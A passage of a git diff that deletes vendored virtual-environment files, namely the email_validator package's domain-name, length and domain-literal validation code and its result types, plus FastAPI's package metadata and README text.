not uts46_valid_char(c) - } - if bad_chars: - raise EmailSyntaxError("The part after the @-sign contains invalid characters: " + ", ".join(sorted(bad_chars)) + ".") - - # Perform UTS-46 normalization, which includes casefolding, NFC normalization, - # and converting all label separators (the period/full stop, fullwidth full stop, - # ideographic full stop, and halfwidth ideographic full stop) to regular dots. - # It will also raise an exception if there is an invalid character in the input, - # such as "⒈" which is invalid because it would expand to include a dot and - # U+1FEF which normalizes to a backtick, which is not an allowed hostname character. - # Since several characters *are* normalized to a dot, this has to come before - # checks related to dots, like check_dot_atom which comes next. - original_domain = domain - try: - domain = idna.uts46_remap(domain, std3_rules=False, transitional=False) - except idna.IDNAError as e: - raise EmailSyntaxError(f"The part after the @-sign contains invalid characters ({e}).") from e - - # Check for invalid characters after Unicode normalization which are not caught - # by uts46_remap (see tests for examples). - bad_chars = { - safe_character_display(c) - for c in domain - if not ATEXT_HOSTNAME_INTL.match(c) - } - if bad_chars: - raise EmailSyntaxError("The part after the @-sign contains invalid characters after Unicode normalization: " + ", ".join(sorted(bad_chars)) + ".") - - # The domain part is made up dot-separated "labels." Each label must - # have at least one character and cannot start or end with dashes, which - # means there are some surprising restrictions on periods and dashes. - # Check that before we do IDNA encoding because the IDNA library gives - # unfriendly errors for these cases, but after UTS-46 normalization because - # it can insert periods and hyphens (from fullwidth characters). - # (RFC 952, RFC 1123 2.1, RFC 5322 3.2.3) - check_dot_atom(domain, 'An email address cannot have a {} immediately after the @-sign.', 'An email address cannot end with a {}.', is_hostname=True) - - # Check for RFC 5890's invalid R-LDH labels, which are labels that start - # with two characters other than "xn" and two dashes. - for label in domain.split("."): - if re.match(r"(?!xn)..--", label, re.I): - raise EmailSyntaxError("An email address cannot have two letters followed by two dashes immediately after the @-sign or after a period, except Punycode.") - - if DOT_ATOM_TEXT_HOSTNAME.match(domain): - # This is a valid non-internationalized domain. - ascii_domain = domain - else: - # If international characters are present in the domain name, convert - # the domain to IDNA ASCII. If internationalized characters are present, - # the MTA must either support SMTPUTF8 or the mail client must convert the - # domain name to IDNA before submission. - # - # For ASCII-only domains, the transformation does nothing and is safe to - # apply. However, to ensure we don't rely on the idna library for basic - # syntax checks, we don't use it if it's not needed. - # - # idna.encode also checks the domain name length after encoding but it - # doesn't give a nice error, so we call the underlying idna.alabel method - # directly. idna.alabel checks label length and doesn't give great messages, - # but we can't easily go to lower level methods. - try: - ascii_domain = ".".join( - idna.alabel(label).decode("ascii") - for label in domain.split(".") - ) - except idna.IDNAError as e: - # Some errors would have already been raised by idna.uts46_remap. - raise EmailSyntaxError(f"The part after the @-sign is invalid ({e}).") from e - - # Check the syntax of the string returned by idna.encode. - # It should never fail. - if not DOT_ATOM_TEXT_HOSTNAME.match(ascii_domain): - raise EmailSyntaxError("The email address contains invalid characters after the @-sign after IDNA encoding.") - - # Check the length of the domain name in bytes. - # (RFC 1035 2.3.4 and RFC 5321 4.5.3.1.2) - # We're checking the number of bytes ("octets") here, which can be much - # higher than the number of characters in internationalized domains, - # on the assumption that the domain may be transmitted without SMTPUTF8 - # as IDNA ASCII. (This is also checked by idna.encode, so this exception - # is never reached for internationalized domains.) - if len(ascii_domain) > DOMAIN_MAX_LENGTH: - if ascii_domain == original_domain: - reason = get_length_reason(ascii_domain, limit=DOMAIN_MAX_LENGTH) - raise EmailSyntaxError(f"The email address is too long after the @-sign {reason}.") - else: - diff = len(ascii_domain) - DOMAIN_MAX_LENGTH - s = "" if diff == 1 else "s" - raise EmailSyntaxError(f"The email address is too long after the @-sign ({diff} byte{s} too many after IDNA encoding).") - - # Also check the label length limit. - # (RFC 1035 2.3.1) - for label in ascii_domain.split("."): - if len(label) > DNS_LABEL_LENGTH_LIMIT: - reason = get_length_reason(label, limit=DNS_LABEL_LENGTH_LIMIT) - raise EmailSyntaxError(f"After the @-sign, periods cannot be separated by so many characters {reason}.") - - if globally_deliverable: - # All publicly deliverable addresses have domain names with at least - # one period, at least for gTLDs created since 2013 (per the ICANN Board - # New gTLD Program Committee, https://www.icann.org/en/announcements/details/new-gtld-dotless-domain-names-prohibited-30-8-2013-en). - # We'll consider the lack of a period a syntax error - # since that will match people's sense of what an email address looks - # like. We'll skip this in test environments to allow '@test' email - # addresses. - if "." not in ascii_domain and not (ascii_domain == "test" and test_environment): - raise EmailSyntaxError("The part after the @-sign is not valid. It should have a period.") - - # We also know that all TLDs currently end with a letter. - if not DOMAIN_NAME_REGEX.search(ascii_domain): - raise EmailSyntaxError("The part after the @-sign is not valid. It is not within a valid top-level domain.") - - # Check special-use and reserved domain names. - # Some might fail DNS-based deliverability checks, but that - # can be turned off, so we should fail them all sooner. - # See the references in __init__.py. - from . import SPECIAL_USE_DOMAIN_NAMES - for d in SPECIAL_USE_DOMAIN_NAMES: - # See the note near the definition of SPECIAL_USE_DOMAIN_NAMES. - if d == "test" and test_environment: - continue - - if ascii_domain == d or ascii_domain.endswith("." + d): - raise EmailSyntaxError("The part after the @-sign is a special-use or reserved name that cannot be used with email.") - - # We may have been given an IDNA ASCII domain to begin with. Check - # that the domain actually conforms to IDNA. It could look like IDNA - # but not be actual IDNA. For ASCII-only domains, the conversion out - # of IDNA just gives the same thing back. - # - # This gives us the canonical internationalized form of the domain, - # which we return to the caller as a part of the normalized email - # address. - try: - domain_i18n = idna.decode(ascii_domain.encode('ascii')) - except idna.IDNAError as e: - raise EmailSyntaxError(f"The part after the @-sign is not valid IDNA ({e}).") from e - - # Check that this normalized domain name has not somehow become - # an invalid domain name. All of the checks before this point - # using the idna package probably guarantee that we now have - # a valid international domain name in most respects. But it - # doesn't hurt to re-apply some tests to be sure. See the similar - # tests above. - - # Check for invalid and unsafe characters. We have no test - # case for this. - bad_chars = { - safe_character_display(c) - for c in domain_i18n - if not ATEXT_HOSTNAME_INTL.match(c) - } - if bad_chars: - raise EmailSyntaxError("The part after the @-sign contains invalid characters: " + ", ".join(sorted(bad_chars)) + ".") - check_unsafe_chars(domain_i18n) - - # Check that it can be encoded back to IDNA ASCII. We have no test - # case for this. - try: - idna.encode(domain_i18n) - except idna.IDNAError as e: - raise EmailSyntaxError(f"The part after the @-sign became invalid after normalizing to international characters ({e}).") from e - - # Return the IDNA ASCII-encoded form of the domain, which is how it - # would be transmitted on the wire (except when used with SMTPUTF8 - # possibly), as well as the canonical Unicode form of the domain, - # which is better for display purposes. This should also take care - # of RFC 6532 section 3.1's suggestion to apply Unicode NFC - # normalization to addresses. - return { - "ascii_domain": ascii_domain, - "domain": domain_i18n, - } - - -def validate_email_length(addrinfo: ValidatedEmail) -> None: - # There are three forms of the email address whose length must be checked: - # - # 1) The original email address string. Since callers may continue to use - # this string, even though we recommend using the normalized form, we - # should not pass validation when the original input is not valid. This - # form is checked first because it is the original input. - # 2) The normalized email address. We perform Unicode NFC normalization of - # the local part, we normalize the domain to internationalized characters - # (if originally IDNA ASCII) which also includes Unicode normalization, - # and we may remove quotes in quoted local parts. We recommend that - # callers use this string, so it must be valid. - # 3) The email address with the IDNA ASCII representation of the domain - # name, since this string may be used with email stacks that don't - # support UTF-8. Since this is the least likely to be used by callers, - # it is checked last. Note that ascii_email will only be set if the - # local part is ASCII, but conceivably the caller may combine a - # internationalized local part with an ASCII domain, so we check this - # on that combination also. Since we only return the normalized local - # part, we use that (and not the unnormalized local part). - # - # In all cases, the length is checked in UTF-8 because the SMTPUTF8 - # extension to SMTP validates the length in bytes. - - addresses_to_check = [ - (addrinfo.original, None), - (addrinfo.normalized, "after normalization"), - ((addrinfo.ascii_local_part or addrinfo.local_part or "") + "@" + addrinfo.ascii_domain, "when the part after the @-sign is converted to IDNA ASCII"), - ] - - for addr, reason in addresses_to_check: - addr_len = len(addr) - addr_utf8_len = len(addr.encode("utf8")) - diff = addr_utf8_len - EMAIL_MAX_LENGTH - if diff > 0: - if reason is None and addr_len == addr_utf8_len: - # If there is no normalization or transcoding, - # we can give a simple count of the number of - # characters over the limit. - reason = get_length_reason(addr, limit=EMAIL_MAX_LENGTH) - elif reason is None: - # If there is no normalization but there is - # some transcoding to UTF-8, we can compute - # the minimum number of characters over the - # limit by dividing the number of bytes over - # the limit by the maximum number of bytes - # per character. - mbpc = max(len(c.encode("utf8")) for c in addr) - mchars = max(1, diff // mbpc) - suffix = "s" if diff > 1 else "" - if mchars == diff: - reason = f"({diff} character{suffix} too many)" - else: - reason = f"({mchars}-{diff} character{suffix} too many)" - else: - # Since there is normalization, the number of - # characters in the input that need to change is - # impossible to know. - suffix = "s" if diff > 1 else "" - reason += f" ({diff} byte{suffix} too many)" - raise EmailSyntaxError(f"The email address is too long {reason}.") - - -class DomainLiteralValidationResult(TypedDict): - domain_address: Union[ipaddress.IPv4Address, ipaddress.IPv6Address] - domain: str - - -def validate_email_domain_literal(domain_literal: str) -> DomainLiteralValidationResult: - # This is obscure domain-literal syntax. Parse it and return - # a compressed/normalized address. - # RFC 5321 4.1.3 and RFC 5322 3.4.1. - - addr: Union[ipaddress.IPv4Address, ipaddress.IPv6Address] - - # Try to parse the domain literal as an IPv4 address. - # There is no tag for IPv4 addresses, so we can never - # be sure if the user intends an IPv4 address. - if re.match(r"^[0-9\.]+$", domain_literal): - try: - addr = ipaddress.IPv4Address(domain_literal) - except ValueError as e: - raise EmailSyntaxError(f"The address in brackets after the @-sign is not valid: It is not an IPv4 address ({e}) or is missing an address literal tag.") from e - - # Return the IPv4Address object and the domain back unchanged. - return { - "domain_address": addr, - "domain": f"[{addr}]", - } - - # If it begins with "IPv6:" it's an IPv6 address. - if domain_literal.startswith("IPv6:"): - try: - addr = ipaddress.IPv6Address(domain_literal[5:]) - except ValueError as e: - raise EmailSyntaxError(f"The IPv6 address in brackets after the @-sign is not valid ({e}).") from e - - # Return the IPv6Address object and construct a normalized - # domain literal. - return { - "domain_address": addr, - "domain": f"[IPv6:{addr.compressed}]", - } - - # Nothing else is valid. - - if ":" not in domain_literal: - raise EmailSyntaxError("The part after the @-sign in brackets is not an IPv4 address and has no address literal tag.") - - # The tag (the part before the colon) has character restrictions, - # but since it must come from a registry of tags (in which only "IPv6" is defined), - # there's no need to check the syntax of the tag. See RFC 5321 4.1.2. - - # Check for permitted ASCII characters. This actually doesn't matter - # since there will be an exception after anyway. - bad_chars = { - safe_character_display(c) - for c in domain_literal - if not DOMAIN_LITERAL_CHARS.match(c) - } - if bad_chars: - raise EmailSyntaxError("The part after the @-sign contains invalid characters in brackets: " + ", ".join(sorted(bad_chars)) + ".") - - # There are no other domain literal tags. - # https://www.iana.org/assignments/address-literal-tags/address-literal-tags.xhtml - raise EmailSyntaxError("The part after the @-sign contains an invalid address literal tag in brackets.") diff --git a/venv/Lib/site-packages/email_validator/types.py b/venv/Lib/site-packages/email_validator/types.py deleted file mode 100644 index 1df60ff90a08ddf6c95f85914989bda78e5a2f26..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/email_validator/types.py +++ /dev/null @@ -1,126 +0,0 @@ -import warnings -from typing import Any, Dict, List, Optional, Tuple, Union - - -class ValidatedEmail: - """The validate_email function returns objects of this type holding the normalized form of the email address - and other information.""" - - """The email address that was passed to validate_email. (If passed as bytes, this will be a string.)""" - original: str - - """The normalized email address, which should always be used in preference to the original address. - The normalized address converts an IDNA ASCII domain name to Unicode, if possible, and performs - Unicode normalization on the local part and on the domain (if originally Unicode). It is the - concatenation of the local_part and domain attributes, separated by an @-sign.""" - normalized: str - - """The local part of the email address after Unicode normalization.""" - local_part: str - - """The domain part of the email address after Unicode normalization or conversion to - Unicode from IDNA ascii.""" - domain: str - - """If the domain part is a domain literal, the IPv4Address or IPv6Address object.""" - domain_address: object - - """If not None, a form of the email address that uses 7-bit ASCII characters only.""" - ascii_email: Optional[str] - - """If not None, the local part of the email address using 7-bit ASCII characters only.""" - ascii_local_part: Optional[str] - - """A form of the domain name that uses 7-bit ASCII characters only.""" - ascii_domain: str - - """If True, the SMTPUTF8 feature of your mail relay will be required to transmit messages - to this address. This flag is True just when ascii_local_part is missing. Otherwise it - is False.""" - smtputf8: bool - - """If a deliverability check is performed and if it succeeds, a list of (priority, domain) - tuples of MX records specified in the DNS for the domain.""" - mx: List[Tuple[int, str]] - - """If no MX records are actually specified in DNS and instead are inferred, through an obsolete - mechanism, from A or AAAA records, the value is the type of DNS record used instead (`A` or `AAAA`).""" - mx_fallback_type: Optional[str] - - """The display name in the original input text, unquoted and unescaped, or None.""" - display_name: Optional[str] - - def __repr__(self) -> str: - return f"" - - """For backwards compatibility, support old field names.""" - def __getattr__(self, key: str) -> str: - if key == "original_email": - return self.original - if key == "email": - return self.normalized - raise AttributeError(key) - - @property - def email(self) -> str: - warnings.warn("ValidatedEmail.email is deprecated and will be removed, use ValidatedEmail.normalized instead", DeprecationWarning) - return self.normalized - - """For backwards compatibility, some fields are also exposed through a dict-like interface. Note - that some of the names changed when they became attributes.""" - def __getitem__(self, key: str) -> Union[Optional[str], bool, List[Tuple[int, str]]]: - warnings.warn("dict-like access to the return value of validate_email is deprecated and may not be supported in the future.", DeprecationWarning, stacklevel=2) - if key == "email": - return self.normalized - if key == "email_ascii": - return self.ascii_email - if key == "local": - return self.local_part - if key == "domain": - return self.ascii_domain - if key == "domain_i18n": - return self.domain - if key == "smtputf8": - return self.smtputf8 - if key == "mx": - return self.mx - if key == "mx-fallback": - return self.mx_fallback_type - raise KeyError() - - """Tests use this.""" - def __eq__(self, other: object) -> bool: - if not isinstance(other, ValidatedEmail): - return False - return ( - self.normalized == other.normalized - and self.local_part == other.local_part - and self.domain == other.domain - and getattr(self, 'ascii_email', None) == getattr(other, 'ascii_email', None) - and getattr(self, 'ascii_local_part', None) == getattr(other, 'ascii_local_part', None) - and getattr(self, 'ascii_domain', None) == getattr(other, 'ascii_domain', None) - and self.smtputf8 == other.smtputf8 - and repr(sorted(self.mx) if getattr(self, 'mx', None) else None) - == repr(sorted(other.mx) if getattr(other, 'mx', None) else None) - and getattr(self, 'mx_fallback_type', None) == getattr(other, 'mx_fallback_type', None) - and getattr(self, 'display_name', None) == getattr(other, 'display_name', None) - ) - - """This helps producing the README.""" - def as_constructor(self) -> str: - return "ValidatedEmail(" \ - + ",".join(f"\n {key}={repr(getattr(self, key))}" - for key in ('normalized', 'local_part', 'domain', - 'ascii_email', 'ascii_local_part', 'ascii_domain', - 'smtputf8', 'mx', 'mx_fallback_type', - 'display_name') - if hasattr(self, key) - ) \ - + ")" - - """Convenience method for accessing ValidatedEmail as a dict""" - def as_dict(self) -> Dict[str, Any]: - d = self.__dict__ - if d.get('domain_address'): - d['domain_address'] = repr(d['domain_address']) - return d diff --git a/venv/Lib/site-packages/email_validator/validate_email.py b/venv/Lib/site-packages/email_validator/validate_email.py deleted file mode 100644 index ae5d9635296e81f4561d99a24c8418b9f63ea2a8..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/email_validator/validate_email.py +++ /dev/null @@ -1,209 +0,0 @@ -from typing import Optional, Union, TYPE_CHECKING -import unicodedata - -from .exceptions import EmailSyntaxError -from .types import ValidatedEmail -from .syntax import split_email, validate_email_local_part, validate_email_domain_name, validate_email_domain_literal, validate_email_length -from .rfc_constants import CASE_INSENSITIVE_MAILBOX_NAMES - -if TYPE_CHECKING: - import dns.resolver - _Resolver = dns.resolver.Resolver -else: - _Resolver = object - - -def validate_email( - email: Union[str, bytes], - /, # prior arguments are positional-only - *, # subsequent arguments are keyword-only - allow_smtputf8: Optional[bool] = None, - allow_empty_local: Optional[bool] = None, - allow_quoted_local: Optional[bool] = None, - allow_domain_literal: Optional[bool] = None, - allow_display_name: Optional[bool] = None, - strict: Optional[bool] = None, - check_deliverability: Optional[bool] = None, - test_environment: Optional[bool] = None, - globally_deliverable: Optional[bool] = None, - timeout: Optional[int] = None, - dns_resolver: Optional[_Resolver] = None -) -> ValidatedEmail: - """ - Given an email address, and some options, returns a ValidatedEmail instance - with information about the address if it is valid or, if the address is not - valid, raises an EmailNotValidError. This is the main function of the module. - """ - - # Fill in default values of arguments. - from . import ALLOW_SMTPUTF8, ALLOW_EMPTY_LOCAL, ALLOW_QUOTED_LOCAL, ALLOW_DOMAIN_LITERAL, ALLOW_DISPLAY_NAME, \ - STRICT, GLOBALLY_DELIVERABLE, CHECK_DELIVERABILITY, TEST_ENVIRONMENT, DEFAULT_TIMEOUT - if allow_smtputf8 is None: - allow_smtputf8 = ALLOW_SMTPUTF8 - if allow_empty_local is None: - allow_empty_local = ALLOW_EMPTY_LOCAL - if allow_quoted_local is None: - allow_quoted_local = ALLOW_QUOTED_LOCAL - if allow_domain_literal is None: - allow_domain_literal = ALLOW_DOMAIN_LITERAL - if allow_display_name is None: - allow_display_name = ALLOW_DISPLAY_NAME - if strict is None: - strict = STRICT - if check_deliverability is None: - check_deliverability = CHECK_DELIVERABILITY - if test_environment is None: - test_environment = TEST_ENVIRONMENT - if globally_deliverable is None: - globally_deliverable = GLOBALLY_DELIVERABLE - if timeout is None and dns_resolver is None: - timeout = DEFAULT_TIMEOUT - - if isinstance(email, str): - pass - elif isinstance(email, bytes): - # Allow email to be a bytes instance as if it is what - # will be transmitted on the wire. But assume SMTPUTF8 - # is unavailable, so it must be ASCII. - try: - email = email.decode("ascii") - except ValueError as e: - raise EmailSyntaxError("The email address is not valid ASCII.") from e - else: - raise TypeError("email must be str or bytes") - - # Split the address into the display name (or None), the local part - # (before the @-sign), and the domain part (after the @-sign). - # Normally, there is only one @-sign. But the awkward "quoted string" - # local part form (RFC 5321 4.1.2) allows @-signs in the local - # part if the local part is quoted. - display_name, local_part, domain_part, is_quoted_local_part \ - = split_email(email) - - if display_name: - # UTS #39 3.3 Email Security Profiles for Identifiers requires - # display names (incorrectly called "quoted-string-part" there) - # to be NFC normalized. Since these are not a part of what we - # are really validating, we won't check that the input was NFC - # normalized, but we'll normalize in output. - display_name = unicodedata.normalize("NFC", display_name) - - # Collect return values in this instance. - ret = ValidatedEmail() - ret.original = ((local_part if not is_quoted_local_part - else ('"' + local_part + '"')) - + "@" + domain_part) # drop the display name, if any, for email length tests at the end - ret.display_name = display_name - - # Validate the email address's local part syntax and get a normalized form. - # If the original address was quoted and the decoded local part is a valid - # unquoted local part, then we'll get back a normalized (unescaped) local - # part. - local_part_info = validate_email_local_part(local_part, - allow_smtputf8=allow_smtputf8, - allow_empty_local=allow_empty_local, - quoted_local_part=is_quoted_local_part, - strict=strict) - ret.local_part = local_part_info["local_part"] - ret.ascii_local_part = local_part_info["ascii_local_part"] - ret.smtputf8 = local_part_info["smtputf8"] - - # RFC 6532 section 3.1 says that Unicode NFC normalization should be applied, - # so we'll return the NFC-normalized local part. Since the caller may use that - # string in place of the original string, ensure it is also valid. - # - # UTS #39 3.3 Email Security Profiles for Identifiers requires local parts - # to be NFKC normalized, which loses some information in characters that can - # be decomposed. We might want to consider applying NFKC normalization, but - # we can't make the change easily because it would break database lookups - # for any caller that put a normalized address from a previous version of - # this library. (UTS #39 seems to require that the *input* be NKFC normalized - # and has other requirements that are hard to check without additional Unicode - # data, and I don't know whether the rules really apply in the wild.) - normalized_local_part = unicodedata.normalize("NFC", ret.local_part) - if normalized_local_part != ret.local_part: - try: - validate_email_local_part(normalized_local_part, - allow_smtputf8=allow_smtputf8, - allow_empty_local=allow_empty_local, - quoted_local_part=is_quoted_local_part, - strict=strict) - except EmailSyntaxError as e: - raise EmailSyntaxError("After Unicode normalization: " + str(e)) from e - ret.local_part = normalized_local_part - - # If a quoted local part isn't allowed but is present, now raise an exception. - # This is done after any exceptions raised by validate_email_local_part so - # that mandatory checks have highest precedence. - if is_quoted_local_part and not allow_quoted_local: - raise EmailSyntaxError("Quoting the part before the @-sign is not allowed here.") - - # Some local parts are required to be case-insensitive, so we should normalize - # to lowercase. - # RFC 2142 - if ret.ascii_local_part is not None \ - and ret.ascii_local_part.lower() in CASE_INSENSITIVE_MAILBOX_NAMES \ - and ret.local_part is not None: - ret.ascii_local_part = ret.ascii_local_part.lower() - ret.local_part = ret.local_part.lower() - - # Validate the email address's domain part syntax and get a normalized form. - is_domain_literal = False - if len(domain_part) == 0: - raise EmailSyntaxError("There must be something after the @-sign.") - - elif domain_part.startswith("[") and domain_part.endswith("]"): - # Parse the address in the domain literal and get back a normalized domain. - domain_literal_info = validate_email_domain_literal(domain_part[1:-1]) - if not allow_domain_literal: - raise EmailSyntaxError("A bracketed IP address after the @-sign is not allowed here.") - ret.domain = domain_literal_info["domain"] - ret.ascii_domain = domain_literal_info["domain"] # Domain literals are always ASCII. - ret.domain_address = domain_literal_info["domain_address"] - is_domain_literal = True # Prevent deliverability checks. - - else: - # Check the syntax of the domain and get back a normalized - # internationalized and ASCII form. - domain_name_info = validate_email_domain_name(domain_part, test_environment=test_environment, globally_deliverable=globally_deliverable) - ret.domain = domain_name_info["domain"] - ret.ascii_domain = domain_name_info["ascii_domain"] - - # Construct the complete normalized form. - ret.normalized = ret.local_part + "@" + ret.domain - - # If the email address has an ASCII form, add it. - if not ret.smtputf8: - if not ret.ascii_domain: - raise Exception("Missing ASCII domain.") - ret.ascii_email = (ret.ascii_local_part or "") + "@" + ret.ascii_domain - else: - ret.ascii_email = None - - # Check the length of the address. - validate_email_length(ret) - - # Check that a display name is permitted. It's the last syntax check - # because we always check against optional parsing features last. - if display_name is not None and not allow_display_name: - raise EmailSyntaxError("A display name and angle brackets around the email address are not permitted here.") - - if check_deliverability and not test_environment: - # Validate the email address's deliverability using DNS - # and update the returned ValidatedEmail object with metadata. - - if is_domain_literal: - # There is nothing to check --- skip deliverability checks. - return ret - - # Lazy load `deliverability` as it is slow to import (due to dns.resolver) - from .deliverability import validate_email_deliverability - deliverability_info = validate_email_deliverability( - ret.ascii_domain, ret.domain, timeout, dns_resolver - ) - mx = deliverability_info.get("mx") - if mx is not None: - ret.mx = mx - ret.mx_fallback_type = deliverability_info.get("mx_fallback_type") - - return ret diff --git a/venv/Lib/site-packages/email_validator/version.py b/venv/Lib/site-packages/email_validator/version.py deleted file mode 100644 index 55e47090701a5a75058e8f54194356146af38fc4..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/email_validator/version.py +++ /dev/null @@ -1 +0,0 @@ -__version__ = "2.3.0" diff --git a/venv/Lib/site-packages/fastapi-0.141.1.dist-info/INSTALLER b/venv/Lib/site-packages/fastapi-0.141.1.dist-info/INSTALLER deleted file mode 100644 index a1b589e38a32041e49332e5e81c2d363dc418d68..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/fastapi-0.141.1.dist-info/INSTALLER +++ /dev/null @@ -1 +0,0 @@ -pip diff --git a/venv/Lib/site-packages/fastapi-0.141.1.dist-info/METADATA b/venv/Lib/site-packages/fastapi-0.141.1.dist-info/METADATA deleted file mode 100644 index 8bffeff5e31968851d860a97c45a0cc59d372aa4..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/fastapi-0.141.1.dist-info/METADATA +++ /dev/null @@ -1,617 +0,0 @@ -Metadata-Version: 2.4 -Name: fastapi -Version: 0.141.1 -Summary: FastAPI framework, high performance, easy to learn, fast to code, ready for production -Author-Email: =?utf-8?q?Sebasti=C3=A1n_Ram=C3=ADrez?= -License-Expression: MIT -License-File: LICENSE -Classifier: Intended Audience :: Information Technology -Classifier: Intended Audience :: System Administrators -Classifier: Operating System :: OS Independent -Classifier: Programming Language :: Python :: 3 -Classifier: Programming Language :: Python -Classifier: Topic :: Internet -Classifier: Topic :: Software Development :: Libraries :: Application Frameworks -Classifier: Topic :: Software Development :: Libraries :: Python Modules -Classifier: Topic :: Software Development :: Libraries -Classifier: Topic :: Software Development -Classifier: Typing :: Typed -Classifier: Development Status :: 4 - Beta -Classifier: Environment :: Web Environment -Classifier: Framework :: AsyncIO -Classifier: Framework :: FastAPI -Classifier: Framework :: Pydantic -Classifier: Framework :: Pydantic :: 2 -Classifier: Intended Audience :: Developers -Classifier: Programming Language :: Python :: 3 :: Only -Classifier: Programming Language :: Python :: 3.10 -Classifier: Programming Language :: Python :: 3.11 -Classifier: Programming Language :: Python :: 3.12 -Classifier: Programming Language :: Python :: 3.13 -Classifier: Programming Language :: Python :: 3.14 -Classifier: Topic :: Internet :: WWW/HTTP :: HTTP Servers -Classifier: Topic :: Internet :: WWW/HTTP -Project-URL: Homepage, https://github.com/fastapi/fastapi -Project-URL: Documentation, https://fastapi.tiangolo.com/ -Project-URL: Repository, https://github.com/fastapi/fastapi -Project-URL: Issues, https://github.com/fastapi/fastapi/issues -Project-URL: Changelog, https://fastapi.tiangolo.com/release-notes/ -Requires-Python: >=3.10 -Requires-Dist: starlette>=0.46.0 -Requires-Dist: pydantic>=2.9.0 -Requires-Dist: typing-extensions>=4.8.0 -Requires-Dist: typing-inspection>=0.4.2 -Requires-Dist: annotated-doc>=0.0.2 -Provides-Extra: standard -Requires-Dist: fastapi-cli[standard]>=0.0.32; extra == "standard" -Requires-Dist: fastar>=0.9.0; extra == "standard" -Requires-Dist: httpx<1.0.0,>=0.23.0; extra == "standard" -Requires-Dist: jinja2>=3.1.5; extra == "standard" -Requires-Dist: python-multipart>=0.0.18; extra == "standard" -Requires-Dist: email-validator>=2.0.0; extra == "standard" -Requires-Dist: uvicorn[standard]>=0.12.0; extra == "standard" -Requires-Dist: pydantic-settings>=2.0.0; extra == "standard" -Requires-Dist: pydantic-extra-types>=2.0.0; extra == "standard" -Provides-Extra: standard-no-fastapi-cloud-cli -Requires-Dist: fastapi-cli[standard-no-fastapi-cloud-cli]>=0.0.32; extra == "standard-no-fastapi-cloud-cli" -Requires-Dist: httpx<1.0.0,>=0.23.0; extra == "standard-no-fastapi-cloud-cli" -Requires-Dist: jinja2>=3.1.5; extra == "standard-no-fastapi-cloud-cli" -Requires-Dist: python-multipart>=0.0.18; extra == "standard-no-fastapi-cloud-cli" -Requires-Dist: email-validator>=2.0.0; extra == "standard-no-fastapi-cloud-cli" -Requires-Dist: uvicorn[standard]>=0.12.0; extra == "standard-no-fastapi-cloud-cli" -Requires-Dist: pydantic-settings>=2.0.0; extra == "standard-no-fastapi-cloud-cli" -Requires-Dist: pydantic-extra-types>=2.0.0; extra == "standard-no-fastapi-cloud-cli" -Provides-Extra: all -Requires-Dist: fastapi-cli[standard]>=0.0.32; extra == "all" -Requires-Dist: httpx<1.0.0,>=0.23.0; extra == "all" -Requires-Dist: jinja2>=3.1.5; extra == "all" -Requires-Dist: python-multipart>=0.0.18; extra == "all" -Requires-Dist: itsdangerous>=1.1.0; extra == "all" -Requires-Dist: pyyaml>=5.3.1; extra == "all" -Requires-Dist: email-validator>=2.0.0; extra == "all" -Requires-Dist: uvicorn[standard]>=0.12.0; extra == "all" -Requires-Dist: pydantic-settings>=2.0.0; extra == "all" -Requires-Dist: pydantic-extra-types>=2.0.0; extra == "all" -Description-Content-Type: text/markdown - -

- FastAPI -

-

- FastAPI framework, high performance, easy to learn, fast to code, ready for production -

-

- - Test - - - Coverage - - - Package version - - - Supported Python versions - -

- ---- - -**Documentation**: [https://fastapi.tiangolo.com](https://fastapi.tiangolo.com) - -**Source Code**: [https://github.com/fastapi/fastapi](https://github.com/fastapi/fastapi) - ---- - -FastAPI is a modern, fast (high-performance), web framework for building APIs with Python based on standard Python type hints. - -The key features are: - -* **Fast**: Very high performance, on par with **NodeJS** and **Go** (thanks to Starlette and Pydantic). [One of the fastest Python frameworks available](#performance). -* **Fast to code**: Increase the speed to develop features by about 200% to 300%. * -* **Fewer bugs**: Reduce about 40% of human (developer) induced errors. * -* **Intuitive**: Great editor support. Completion everywhere. Less time debugging. -* **Easy**: Designed to be easy to use and learn. Less time reading docs. -* **Short**: Minimize code duplication. Multiple features from each parameter declaration. Fewer bugs. -* **Robust**: Get production-ready code. With automatic interactive documentation. -* **Standards-based**: Based on (and fully compatible with) the open standards for APIs: [OpenAPI](https://github.com/OAI/OpenAPI-Specification) (previously known as Swagger) and [JSON Schema](https://json-schema.org/). - -* estimation based on tests conducted by an internal development team, building production applications. - -## Sponsors - - -### Keystone Sponsor - - - -### Gold Sponsors - - - - - - - - - - -### Silver Sponsors - - - - - - - - - - -[Other sponsors](https://fastapi.tiangolo.com/fastapi-people/#sponsors) - -## Opinions - - - -
- -"_[...] I'm using **FastAPI** a ton these days. [...] I'm actually planning to use it for all of my team's **ML services at Microsoft**. Some of them are getting integrated into the core **Windows** product and some **Office** products._" - -
Kabir Khan - Microsoft (ref)
- ---- - -"_We adopted the **FastAPI** library to spawn a **REST** server that can be queried to obtain **predictions**. [for Ludwig]_" - -
Piero Molino, Yaroslav Dudin, and Sai Sumanth Miryala - Uber (ref)
- ---- - -"_**Netflix** is pleased to announce the open-source release of our **crisis management** orchestration framework: **Dispatch**! [built with **FastAPI**]_" - -
Kevin Glisson, Marc Vilanova, Forest Monsen - Netflix (ref)
- ---- - -"_If anyone is looking to build a production Python API, I would highly recommend **FastAPI**. It is **beautifully designed**, **simple to use** and **highly scalable**, it has become a **key component** in our API first development strategy and is driving many automations and services such as our Virtual TAC Engineer._" - -
Deon Pillsbury - Cisco (ref)
- ---- - -
